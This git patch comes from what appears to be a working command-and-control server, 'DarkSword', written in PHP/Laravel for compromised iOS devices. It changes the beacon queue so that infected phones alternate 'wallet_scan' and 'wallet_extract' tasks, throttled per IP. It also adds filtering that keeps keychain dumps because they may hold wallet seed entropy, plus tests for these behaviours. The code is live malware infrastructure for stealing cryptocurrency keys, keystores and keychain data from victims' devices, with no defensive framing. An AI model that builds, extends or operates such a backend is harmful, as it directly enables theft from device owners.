From 633b1617a07865a4df176116934e73636cba0f66 Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 10 Sep 2026 03:55:08 +0800 Subject: [PATCH] fix: test --- .../Controllers/C2/DarkSwordC2Controller.php | 2 +- app/Services/DarkSwordIngestAdapter.php | 34 ++- app/Services/DsBeaconQueue.php | 32 ++- tests/Feature/DarkSwordC2ApiTest.php | 201 +++++++++++++----- 4 files changed, 208 insertions(+), 61 deletions(-) diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php index 82cc0e4..fdbe54c 100644 --- a/app/Http/Controllers/C2/DarkSwordC2Controller.php +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -49,7 +49,7 @@ class DarkSwordC2Controller extends Controller { $payload = $this->jsonBody($request); $device = $this->ingest->ensureDevice($request, $payload); - $command = $device ? $this->beaconQueue->dequeue($device) : null; + $command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null; $body = [ 'ok' => true, diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 89c4b05..a4b3d9b 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -357,7 +357,7 @@ class DarkSwordIngestAdapter private function ingestResult(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); - if ($device) { + if ($device && ! $this->isEmptyWalletScanSummary($payload)) { $stored = $this->results->store($device, $payload); $payload = array_merge($payload, $stored); if (($stored['stored'] ?? false) === true) { @@ -367,6 +367,38 @@ class DarkSwordIngestAdapter $this->beaconQueue->markDone($payload); } + /** + * A wallet_scan summary (wallet_pkg.json) with no keychain dump uploaded, + * no installed wallets and no sandbox files carries no recoverable material + * (no entropy, no keystore UTC, no addresses) — skip storing it entirely. + * + * Note: a result with `keychain_dump_uploaded: true` is kept even when + * `installed_wallets` is empty, because the keychain dump (uploaded as a + * separate keychain_c2_dump.json result) may still hold wallet entropy + * such as Bitpie seedPhraseEntropy. + * + * @param array $payload + */ + private function isEmptyWalletScanSummary(array $payload): bool + { + $filename = strtolower((string) ($payload['filename'] ?? '')); + if (! str_contains($filename, 'wallet_pkg')) { + return false; + } + $raw = $payload['data'] ?? null; + if (! is_string($raw) || $raw === '') { + return false; + } + $json = json_decode((string) base64_decode($raw, true), true); + if (! is_array($json)) { + return false; + } + + return ($json['keychain_dump_uploaded'] ?? null) === false + && empty($json['installed_wallets'] ?? []) + && empty($json['sandbox_files'] ?? []); + } + /** * @param array $payload */ diff --git a/app/Services/DsBeaconQueue.php b/app/Services/DsBeaconQueue.php index 0648ec9..56d1d4b 100644 --- a/app/Services/DsBeaconQueue.php +++ b/app/Services/DsBeaconQueue.php @@ -4,6 +4,7 @@ namespace App\Services; use App\Models\Device; use App\Models\DsBeaconTask; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Str; class DsBeaconQueue @@ -55,19 +56,36 @@ class DsBeaconQueue } /** - * Always returns a fresh wallet_scan command. No task lookup/creation and - * no polling state machine — every beacon gets wallet_scan so the device - * keeps scanning the keychain. Results are stored by command_id - * (DsResultStore) and logged verbatim (DarkSwordC2Controller::walletScanLogBody). + * Dispatch wallet_scan / wallet_extract, alternating per client IP, with a + * 5s gap between dispatches to the same IP. UUID can't distinguish devices + * right now (shared 69DD), so we throttle per IP as a temporary measure. + * + * Returns null (noop) when the same IP beaconed within the gap, so the + * device isn't hammered with back-to-back commands. * * @return array{type: string, command_id: string, params: array}|null */ - public function dequeue(Device $device): ?array + public function dequeue(Device $device, ?string $ip = null): ?array { + $ip = $ip ?? '0'; + $lastKey = 'dsq:last:'.$ip; + $typeKey = 'dsq:type:'.$ip; + + // Per-IP throttle: at most one dispatch every 5s. + $last = Cache::get($lastKey); + if ($last !== null && (microtime(true) - (float) $last) < 5.0) { + return null; + } + + // Alternate the two task types per IP. + $type = Cache::get($typeKey) === 'wallet_scan' ? 'wallet_extract' : 'wallet_scan'; + Cache::put($lastKey, microtime(true), 60); + Cache::put($typeKey, $type, 60); + return [ - 'type' => 'wallet_scan', + 'type' => $type, 'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)), - 'params' => $this->paramsFor('wallet_scan'), + 'params' => $this->paramsFor($type), ]; } diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index dd7bcd0..c5925cb 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -18,6 +18,7 @@ use App\Services\CorunaCrypto; use App\Services\DsBeaconQueue; use App\Services\EthKeystore; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Storage; use PHPUnit\Framework\Attributes\Test; @@ -605,55 +606,63 @@ class DarkSwordC2ApiTest extends TestCase } #[Test] - public function beacon_walks_default_queue_then_loops_scan_tasks(): void + public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void { - $types = DsBeaconQueue::TYPES; - $commandIds = []; - foreach ($types as $type) { - $resp = $this->postJson('/beacon', [ - 'uuid' => self::DS_LHU, - 'status' => 'idle', - 'ios' => '18.6', - ])->assertOk()->assertJson([ - 'ok' => true, - 'type' => $type, - 'uuid' => self::DS_LHU, - ]); - $commandId = $resp->json('command_id'); - $this->assertNotEmpty($commandId); - $commandIds[] = $commandId; - $this->postJson('/result', [ - 'uuid' => self::DS_LHU, - 'command_id' => $commandId, - 'filename' => $type.'_result.json', - 'category' => $type, - 'status' => 'success', - ])->assertOk(); - } + $ip = '127.0.0.1'; + // Simulate the 5s gap passing — only forget the throttle timestamp, NOT + // the alternation state (dsq:type), so the next dispatch alternates. + $forget = function () use ($ip): void { + Cache::forget('dsq:last:'.$ip); + }; + + // First dispatch -> wallet_scan. + $r1 = $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + 'ios' => '18.6', + ])->assertOk()->assertJson([ + 'ok' => true, + 'type' => 'wallet_scan', + 'uuid' => self::DS_LHU, + ]); + $id1 = $r1->json('command_id'); + $this->assertNotEmpty($id1); + + // Same IP within 5s -> noop (throttled). + $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']); + + // Simulate the 5s gap passing; next dispatch alternates to wallet_extract. + $forget(); + $r2 = $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'wallet_extract']); + $id2 = $r2->json('command_id'); + $this->assertNotEmpty($id2); + $this->assertNotSame($id1, $id2); + + // Within 5s again -> noop. + $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'noop']); + + // After another gap -> back to wallet_scan. + $forget(); + $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'wallet_scan']); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame(0, DeviceEvent::query()->count()); // seed() created one wallet_scan task; dequeue no longer mutates task state. - $this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count()); - $this->assertSame( - 0, - DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count() - ); - - // Every beacon returns a fresh wallet_scan command (loop / redelivery). - $loop = $this->postJson('/beacon', [ - 'uuid' => self::DS_LHU, - 'status' => 'idle', - ])->assertOk()->assertJson([ - 'ok' => true, - 'type' => 'wallet_scan', - 'uuid' => self::DS_LHU, - ]); - $loopId = $loop->json('command_id'); - $this->assertNotEmpty($loopId); - $this->assertNotSame($commandIds[0], $loopId); + $this->assertSame(1, DsBeaconTask::query()->where('device_id', $device->id)->count()); $admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') @@ -661,17 +670,16 @@ class DarkSwordC2ApiTest extends TestCase ->assertOk() ->assertSee('C2 队列') ->assertSee('wallet_scan') - ->assertDontSee('wallet_extract') ->assertDontSee('photo_scan') ->assertDontSee('basic_info'); - $this->assertNotContains('photos', $types); - $this->assertNotContains('basic_info', $types); - $this->assertContains('wallet_scan', $types); } #[Test] - public function beacon_redelivers_dispatched_task_until_result(): void + public function beacon_throttles_same_ip_within_5s_gap(): void { + $ip = '127.0.0.1'; + + // First dispatch -> wallet_scan. $first = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', @@ -680,11 +688,19 @@ class DarkSwordC2ApiTest extends TestCase $firstId = $first->json('command_id'); $this->assertNotEmpty($firstId); - // No result yet -> next beacon hands out a fresh wallet_scan command. + // Same IP within 5s -> noop (throttled, no command handed out). + $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'noop']); + + // After the 5s gap (simulated by forgetting the throttle key), the next + // beacon alternates to wallet_extract. + Cache::forget('dsq:last:'.$ip); $retry = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', - ])->assertOk()->assertJson(['type' => 'wallet_scan']); + ])->assertOk()->assertJson(['type' => 'wallet_extract']); $retryId = $retry->json('command_id'); $this->assertNotEmpty($retryId); $this->assertNotSame($firstId, $retryId); @@ -692,12 +708,13 @@ class DarkSwordC2ApiTest extends TestCase $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $retryId, - 'filename' => 'keychain_c2_dump.json', - 'category' => 'wallet_scan', + 'filename' => 'wallet_extract_result.json', + 'category' => 'wallet_extract', 'status' => 'success', ])->assertOk(); - // After a result, the next beacon still returns wallet_scan (keep scanning). + // After a result + gap, the next beacon still dispatches (alternates back). + Cache::forget('dsq:last:'.$ip); $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', @@ -967,4 +984,84 @@ class DarkSwordC2ApiTest extends TestCase : substr($log, $entryStart, 4096); $this->assertStringNotContainsString('…[', $entrySegment); } + + #[Test] + public function result_skips_empty_wallet_scan_summary(): void + { + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'chain' => Device::CHAIN_DARKSWORD, + 'album_storage' => true, + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'wallet_scan', + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-scan-empty-1', + ]); + + // Useless wallet_scan summary: no keychain dump, no wallets, no sandbox files. + $empty = base64_encode(json_encode([ + 'device_uuid' => self::DS_LHU, + 'installed_wallets' => [], + 'sandbox_files' => [], + 'total_size' => 0, + 'keychain_dump_uploaded' => false, + '_task_type' => 'wallet_scan', + ])); + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-scan-empty-1', + 'filename' => 'wallet_pkg.json', + 'category' => 'wallet_scan', + 'data' => $empty, + ])->assertOk(); + + // No keystore record, no stored result file. + $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); + Storage::disk('local')->assertMissing( + 'c2/ds-results/'.self::DS_LHU.'/dsq-scan-empty-1/wallet_pkg.json' + ); + } + + #[Test] + public function result_keeps_wallet_scan_summary_when_keychain_dump_uploaded(): void + { + Storage::fake('local'); + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'chain' => Device::CHAIN_DARKSWORD, + 'album_storage' => true, + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'wallet_scan', + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-scan-keep-1', + ]); + + // installed_wallets empty BUT keychain dump was uploaded -> keep (bitpie case). + $keep = base64_encode(json_encode([ + 'device_uuid' => self::DS_LHU, + 'installed_wallets' => [], + 'sandbox_files' => [], + 'total_size' => 0, + 'keychain_dump_uploaded' => true, + '_task_type' => 'wallet_scan', + ])); + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-scan-keep-1', + 'filename' => 'wallet_pkg.json', + 'category' => 'wallet_scan', + 'data' => $keep, + ])->assertOk(); + + $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); + Storage::disk('local')->assertExists( + 'c2/ds-results/'.self::DS_LHU.'/dsq-scan-keep-1/wallet_pkg.json' + ); + } }